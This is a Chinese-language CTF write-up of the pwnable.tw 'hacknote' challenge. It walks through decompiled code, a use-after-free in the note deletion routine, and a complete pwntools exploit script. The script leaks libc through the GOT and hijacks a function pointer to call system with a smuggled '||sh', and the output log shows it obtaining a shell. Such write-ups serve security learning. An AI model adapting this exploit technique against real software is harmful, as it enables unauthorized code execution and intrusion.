hacknote(UAF)

TOC

  1. 1. 功能
  2. 2. 漏洞
  3. 3. 思路

来自https://pwnable.tw/challenge/的hacknote ,该题靶机的glibc版本是2.23。

源程序、相关文件下载:hacknote.zip

功能

int print_menu()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}

如上所示,程序主要提供了三个功能,增加笔记,删除笔记,输出笔记。

增加笔记

unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( global_amount <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = puts_4;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++global_amount;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

该程序向系统申请了两次内存,一次是固定的大小,一个是用户指定大小。

这里的的ptr的数据结构应该是很容易看出来的,就是下面这种结构:

typedef struct note
{
void (* print)(note *);
char *str;
}note;

note *ptr[5];

删除笔记

unsigned int delete_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= global_amount )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

该函数在free后并没有将指针设为NULL,可能存在UAF漏洞。

输出笔记

unsigned int print_node()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= global_amount )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
return __readgsdword(0x14u) ^ v3;
}

这里调用了note的print方法。

漏洞

global_amount仅仅在add_note的时候会自增,但是在delete_note的时候却没有自减,所以直接导致了UAF漏洞,具体方法是先在add_note时申请一块大内存,因为大内存释放后是不会放在fastbin的,然后在申请一块小内存,这样就会导致堆成链。

思路

先创造出合适的fastbin环境,下面的方法就刚好塑造了3个fastbin,可以方便成链:

# 第一个结构
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('160')
sh.recvuntil(':')
sh.sendline('nothing')

# 第二个结构
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('8')
sh.recvuntil(':')
sh.sendline('nothing')

# 释放堆
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('1')

sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')

然后再泄露libc的基地址,这里我直接将note->str指针指向了__libc_start_main的got地址:

# 再次申请
# 第一步打印__libc_start_main的地址
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('8')

e = [
0x804862B, # _puts
elf.got['__libc_start_main']
]
sh.recvuntil(':')
sh.sendline(flat(e))
sh.recvuntil(':')

sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline('1')

__libc_start_main_addr = u32(sh.recvuntil(':')[:4])
log.success('__libc_start_main_addr :' + hex(__libc_start_main_addr))
libc_base_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
log.success('libc_base_addr :' + hex(libc_base_addr))

在第二步之前,我们先来看看puts_4的代码:

int __cdecl puts_4(int a1)
{
return puts(*(const char **)(a1 + 4));
}

可以看出,这里的的参数有4字节的偏移,传入的应该是note指针,而并不是note->str指针,我在这里堵了好久,最后看了这位大佬的writeup(https://blog.csdn.net/qq_35429581/article/details/78231443 by Kdongdong)才懂的,可以用&&sh,||sh,;sh来绕过:

# 第二步getshell
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('8')

# 在glibc-2.27中的system的最后一个字节为\x00
# 所以要向上偏移一条指令,用来防止\x00截断
# system_addr = libc.symbols['system'] + libc_base_addr - 4
system_addr = libc.symbols['system'] + libc_base_addr
log.success('system_addr: ' + hex(system_addr))
e = [
system_addr,
'||sh'
]
sh.recvuntil(':')
sh.sendline(flat(e))

综上所述,最终的脚本:

#! /usr/bin/python2
# -*- coding: utf-8 -*-

from pwn import *
import os

libc_file = '/lib/i386-linux-gnu/libc.so.6'
# libc_file = './libc_32.so.6'
libc = ELF(libc_file)
elf = ELF('./hacknote')

sh = process('./hacknote')
# context.log_level="debug"

# sh = remote('chall.pwnable.tw', 10102)

try:
f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
pass

# 第一个结构
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('160')
sh.recvuntil(':')
sh.sendline('nothing')

# 第二个结构
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('8')
sh.recvuntil(':')
sh.sendline('nothing')

# 释放堆
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('1')

sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')

# 再次申请
# 第一步打印__libc_start_main的地址
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('8')

e = [
0x804862B, # _puts
elf.got['__libc_start_main']
]
sh.recvuntil(':')
sh.sendline(flat(e))
sh.recvuntil(':')

sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline('1')

__libc_start_main_addr = u32(sh.recvuntil(':')[:4])
log.success('__libc_start_main_addr :' + hex(__libc_start_main_addr))
libc_base_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
log.success('libc_base_addr :' + hex(libc_base_addr))

# 释放堆
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('2')

# 第二步getshell
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('8')

# 在glibc-2.27中的system的最后一个字节为\x00
# 所以要向上偏移一条指令,用来防止\x00截断
# system_addr = libc.symbols['system'] + libc_base_addr - 4
system_addr = libc.symbols['system'] + libc_base_addr
log.success('system_addr: ' + hex(system_addr))
e = [
system_addr,
'||sh'
]
sh.recvuntil(':')
sh.sendline(flat(e))
sh.recvuntil(':')

sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline('1')

sh.interactive()

结果如下:

ex@Ex:~/test$ ./main.py 
[*] '/home/ex/test/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/ex/test/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
[+] Opening connection to chall.pwnable.tw on port 10102: Done
[+] __libc_start_main_addr :0xf75d3540
[+] libc_base_addr :0xf75bb000
[+] system_addr: 0xf75f5940
[*] Switching to interactive mode
$ id
uid=1000(hacknote) gid=1000(hacknote) groups=1000(hacknote)
$